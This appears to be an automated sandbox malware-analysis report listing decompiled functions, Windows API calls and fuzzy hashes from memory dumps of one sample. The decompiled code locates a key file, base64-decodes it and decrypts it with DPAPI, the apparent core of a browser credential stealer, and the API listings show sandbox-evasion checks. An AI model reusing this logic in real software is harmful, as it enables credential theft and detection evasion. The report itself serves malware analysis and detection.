0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00407690, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00407690(CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				char _v12;
				char _v16;
				char* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char* _t57;
				intOrPtr _t58;

				_v44 = 0;
				if(E00407380(_a4,  &_v40,  &_v16) != 0) {
					_v8 = E0040BB00(_v40, _v16);
					if(_v8 != 0) {
						_t57 =  *0x41a088; // 0x787fb0
						_v20 = StrStrA(_v8, _t57);
						if(_v20 != 0) {
							_v20 = _v20 + 0x10;
							_t58 =  *0x41a394; // 0x787328
							_v48 = E0040BA20(_v20, _t58);
							if(E00407470( &_v24, _v48,  &_v32,  &_v24) != 0 && _v24 >= 5) {
								asm("repe cmpsb");
								if(0 == 0 && E00407510(_v32 + 5, _v24 - 5,  &_v28,  &_v12) != 0 && _v12 == 0x20) {
									_v44 = 1;
									E004075E0(_v28, _a8, _a12);
								}
							}
						}
					}
				}
				return _v44;
			}

0x00407698
0x004076b5
0x004076cb
0x004076d2
0x004076d8
0x004076e9
0x004076f0
0x004076fc
0x004076ff
0x00407712
0x0040772b
0x00407742
0x00407744
0x0040776e
0x00407781
0x00407786
0x00407744
0x0040772b
0x004076f0
0x004076d2
0x00407791

APIs

Part of subcall function 00407380: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
Part of subcall function 00407380: GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
Part of subcall function 00407380: LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
Part of subcall function 00407380: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
Part of subcall function 00407380: LocalFree.KERNEL32(?), ref: 0040744B
Part of subcall function 00407380: CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Part of subcall function 0040BB00: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

StrStrA.SHLWAPI(00000000,00787FB0), ref: 004076E3

Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
Part of subcall function 00407470: LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
Part of subcall function 00407470: LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Part of subcall function 00407510: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
Part of subcall function 00407510: LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
Part of subcall function 00407510: LocalFree.KERNEL32(?), ref: 0040757F

Strings

DPAPI, xrefs: 00407738
(sx, xrefs: 004076FF
, xrefs: 00407768

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotect
String ID: $(sx$DPAPI
API String ID: 2403763606-1367097481
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: eb4e9db67b04358953b965a2fa42df4c86bf95490415688a64744a127192de17
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: C5314876D04109ABCF04DBD9DC45AFFB7B8AF48304F14852AE904B3241E738B944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 005778E0, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 005775D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00577900,00000000,?), ref: 005775F7
Part of subcall function 005775D0: GetFileSizeEx.KERNEL32(000000FF,00577900,?,00577900,00000000,?), ref: 0057761C
Part of subcall function 005775D0: LocalAlloc.KERNEL32(00000040,?,?,00577900), ref: 0057763C
Part of subcall function 005775D0: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00577900), ref: 00577665
Part of subcall function 005775D0: LocalFree.KERNEL32(?), ref: 0057769B
Part of subcall function 005775D0: CloseHandle.KERNEL32(000000FF,?,00577900,00000000,?), ref: 005776A5

Part of subcall function 0057BD50: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0057BD72

StrStrA.SHLWAPI(00000000,0041A088), ref: 00577933

Part of subcall function 005776C0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyW,00000000,00000000), ref: 005776EF
Part of subcall function 005776C0: LocalAlloc.KERNEL32(00000040,?,?,00577976,?,?), ref: 00577701
Part of subcall function 005776C0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyW,00000000,00000000), ref: 0057772A
Part of subcall function 005776C0: LocalFree.KERNEL32(?,?,?,00577976,?,?), ref: 0057773F

Part of subcall function 00577760: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00577784
Part of subcall function 00577760: LocalAlloc.KERNEL32(00000040,00000000), ref: 005777A3
Part of subcall function 00577760: LocalFree.KERNEL32(?), ref: 005777CF

Strings

DPAPI, xrefs: 00577988
(sx, xrefs: 0057794F, 00577955
, xrefs: 005779B8

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotect
String ID: $(sx$DPAPI
API String ID: 2403763606-1367097481
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: 081e883da60cdd87a0eb1111070278bbbf7a6df7cf3991c2715447b382ae8251
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: 4E310DB2D0411EABDB04DBD9F845AFFBBB8FB4C310F048519E619A3241E7309A44DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3F0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040A3F0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t40;
				void* _t50;
				intOrPtr _t55;
				void* _t71;
				void* _t73;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1c);
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t55 =  *0x41a74c; // 0x787b48
				 *0x41aa24( &_v540, _t55);
				_t40 = E0040BB70( &_v540);
				_t73 = _t71 + 0xc;
				if(_t40 != 0) {
					_t50 = E00407690( &_v540,  &_v12,  &_v8);
					_t73 = _t73 + 0xc;
					if(_t50 == 0) {
						E00407590( &_v12,  &_v8);
						_t73 = _t73 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24);
				E00409DC0( &_v276, _a8, _a12);
				return E00407590( &_v12,  &_v8);
			}

0x0040a3f9
0x0040a400
0x0040a413
0x0040a421
0x0040a434
0x0040a446
0x0040a459
0x0040a45f
0x0040a46d
0x0040a47a
0x0040a47f
0x0040a484
0x0040a495
0x0040a49a
0x0040a49f
0x0040a4a9
0x0040a4ae
0x0040a4ae
0x0040a49f
0x0040a4d9
0x0040a4f0
0x0040a50b

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A434
lstrcat.KERNEL32(?,?), ref: 0040A459
lstrcat.KERNEL32(?,00787B48), ref: 0040A46D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,00787FB0), ref: 004076E3

Strings

H{x, xrefs: 0040A45F

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: H{x
API String ID: 4178457443-333274201
Opcode ID: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction ID: ce2022d65494d5f93f85b5e78ccbe9f151ffe9191f3f48bd5557e70587304a2b
Opcode Fuzzy Hash: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction Fuzzy Hash: 743164B6D1010CABCB14DFD4DC85EDE737CAB5C304F044599F605A7181E678A794CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0057A640, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00571491,?,0000001A,?,00000104), ref: 0057BA74

lstrcat.KERNEL32(?,00000000), ref: 0057A684
lstrcat.KERNEL32(?,?), ref: 0057A6A9
lstrcat.KERNEL32(?,H{x), ref: 0057A6BD

Part of subcall function 0057BDC0: GetFileAttributesA.KERNEL32(?,?,?,0057A6CF,?), ref: 0057BDCA

Part of subcall function 005778E0: StrStrA.SHLWAPI(00000000,0041A088), ref: 00577933

Strings

H{x, xrefs: 0057A6AF, 0057A6B5

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: H{x
API String ID: 4178457443-333274201
Opcode ID: 7e5a71e2141bb9a776ee3104154646530480955f0848b5e974398f0d962f3400
Instruction ID: e7b8d39e80762a7b28c991942762dcd46531cbb9199165ce178a9c90ca79ba6d
Opcode Fuzzy Hash: 7e5a71e2141bb9a776ee3104154646530480955f0848b5e974398f0d962f3400
Instruction Fuzzy Hash: 9D3140B691010CABCB14DF90EC89EDE77BCBF9C300F048599B61993141EA74AB94DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040A510, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040A510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t37;
				void* _t45;
				intOrPtr _t50;
				void* _t64;
				void* _t66;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1a);
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t50 =  *0x41a74c; // 0x787b48
				 *0x41aa24( &_v540, _t50);
				_t37 = E0040BB70( &_v540);
				_t66 = _t64 + 0xc;
				if(_t37 != 0) {
					_t45 = E00407690( &_v540,  &_v12,  &_v8);
					_t66 = _t66 + 0xc;
					if(_t45 == 0) {
						E00407590( &_v12,  &_v8);
						_t66 = _t66 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24);
				return E00407590( &_v12,  &_v8);
			}

0x0040a519
0x0040a520
0x0040a533
0x0040a541
0x0040a554
0x0040a566
0x0040a579
0x0040a57f
0x0040a58d
0x0040a59a
0x0040a59f
0x0040a5a4
0x0040a5b5
0x0040a5ba
0x0040a5bf
0x0040a5c9
0x0040a5ce
0x0040a5ce
0x0040a5bf
0x0040a5f9
0x0040a614

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,?), ref: 0040A579
lstrcat.KERNEL32(?,00787B48), ref: 0040A58D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,00787FB0), ref: 004076E3

Strings

H{x, xrefs: 0040A57F

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: H{x
API String ID: 4178457443-333274201
Opcode ID: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction ID: 5929abeeef62401985c717085424f3a4adc1c8890c023943e0da9d73f2acd4ec
Opcode Fuzzy Hash: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction Fuzzy Hash: 183121B6D0010CBBCB14DF90DC85EDE77BCAB5C304F0445AAF609A7181EA74A798CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0057A760, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057BA50: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,00000004,?,00571491,?,0000001A,?,00000104), ref: 0057BA74

lstrcat.KERNEL32(?,00000000), ref: 0057A7A4
lstrcat.KERNEL32(?,?), ref: 0057A7C9
lstrcat.KERNEL32(?,H{x), ref: 0057A7DD

Part of subcall function 0057BDC0: GetFileAttributesA.KERNEL32(?,?,?,0057A6CF,?), ref: 0057BDCA

Part of subcall function 005778E0: StrStrA.SHLWAPI(00000000,0041A088), ref: 00577933

Strings

H{x, xrefs: 0057A7CF, 0057A7D5

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: H{x
API String ID: 4178457443-333274201
Opcode ID: e2c3142200fd0918eeb320f9beeb1fcdd8bb173fe84d7db8c4248a12721d8e87
Instruction ID: b76256c5b2601d4551abd55551158bd7320ffebc36c242f6004f5fd6a9cd0f38
Opcode Fuzzy Hash: e2c3142200fd0918eeb320f9beeb1fcdd8bb173fe84d7db8c4248a12721d8e87
Instruction Fuzzy Hash: 563121B691010CABCB14DFD0EC89EDE77BCBB98300F048599B61992141E774A798DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0057C100, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?,?,00575E47,?,ex,00000000), ref: 0057C10E
lstrcpyn.KERNEL32(0041AC88,?,?,?,00575E47,?,ex), ref: 0057C132
wsprintfA.USER32 ref: 0057C18B

Strings

G^W, xrefs: 0057C176, 0057C179

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: G^W
API String ID: 1799455324-1537472218
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 19a4bf87caf291ecec9668031e548d1d2065ab9585ed3a06b8c207aedc3e819a
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: BA210675901108EFDB00CFA8D984AEEBBB4AB48344F108199E809AB301D634AA90CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00576DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0057C582
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,pv), ref: 0057C59A
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0057C5B2
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0057C5CB
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0057C5E3
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0057C5FB
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0057C614
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0057C62C
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0057C644
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0057C65D
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0057C673
Part of subcall function 0057C530: LoadLibraryA.KERNEL32((w,?,00576DC2), ref: 0057C685
Part of subcall function 0057C530: LoadLibraryA.KERNEL32(0041A658,?,00576DC2), ref: 0057C697
Part of subcall function 0057C530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0057C6B8

Part of subcall function 005712A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 005712BA
Part of subcall function 005712A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 005712C1
Part of subcall function 005712A0: ExitProcess.KERNEL32 ref: 005712D2

Part of subcall function 00576CF0: GetTickCount.KERNEL32 ref: 00576CF6
Part of subcall function 00576CF0: Sleep.KERNEL32(00002710), ref: 00576D04
Part of subcall function 00576CF0: GetTickCount.KERNEL32 ref: 00576D0A

Sleep.KERNEL32(000003E7), ref: 00576E45

Part of subcall function 00576C60: GetUserDefaultLangID.KERNEL32 ref: 00576C6D

Part of subcall function 00576D80: CreateMutexA.KERNEL32(00000000,00000000,`Sx), ref: 00576D8D
Part of subcall function 00576D80: GetLastError.KERNEL32 ref: 00576D93

Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,pwx), ref: 0057C70D
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A728), ref: 0057C725
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2BC), ref: 0057C73E
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A668), ref: 0057C756
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 0057C76E
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A26C), ref: 0057C787
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,Hux), ref: 0057C79F
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,@wx), ref: 0057C7B7
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,Xwx), ref: 0057C7D0
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7BC), ref: 0057C7E8
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A49C), ref: 0057C800
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4FC), ref: 0057C819
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A3A8), ref: 0057C831
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64, Rx), ref: 0057C849
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1F8), ref: 0057C862
Part of subcall function 0057C6F0: GetProcAddress.KERNEL32(0041AA64,@Rx), ref: 0057C87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00576E0C

Part of subcall function 00576B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 00576BC1
Part of subcall function 00576B40: lstrcat.KERNEL32(?,`Qx), ref: 00576BD5
Part of subcall function 00576B40: sscanf.NTDLL ref: 00576C13
Part of subcall function 00576B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C27
Part of subcall function 00576B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00576C38
Part of subcall function 00576B40: ExitProcess.KERNEL32 ref: 00576C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00576E26
ExitProcess.KERNEL32 ref: 00576E54

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 8d12394cc0f7143dba5cfc07560fe6b4c013055235067eb6c0e593ea8e173880
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: CC01D638785B02A6F26137B5BD0FF5A2E497B80B81F14C020BA0DA80D2EE95A440B53F

Uniqueness

Uniqueness Score: -1.00%

Function 0057AF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057AFA0
RtlAllocateHeap.NTDLL(00000000), ref: 0057AFA7
GetTimeZoneInformation.KERNEL32(?), ref: 0057AFBA
wsprintfA.USER32 ref: 0057AFF4

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: d2bd50790988e51e487a0ff41349d7384ea67224cb1a3c96f7882ea6098fed6d
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: 97F096709453189BDB209BA4DD49BE97779AB04301F0045E5E60D93291D7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0043D096, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
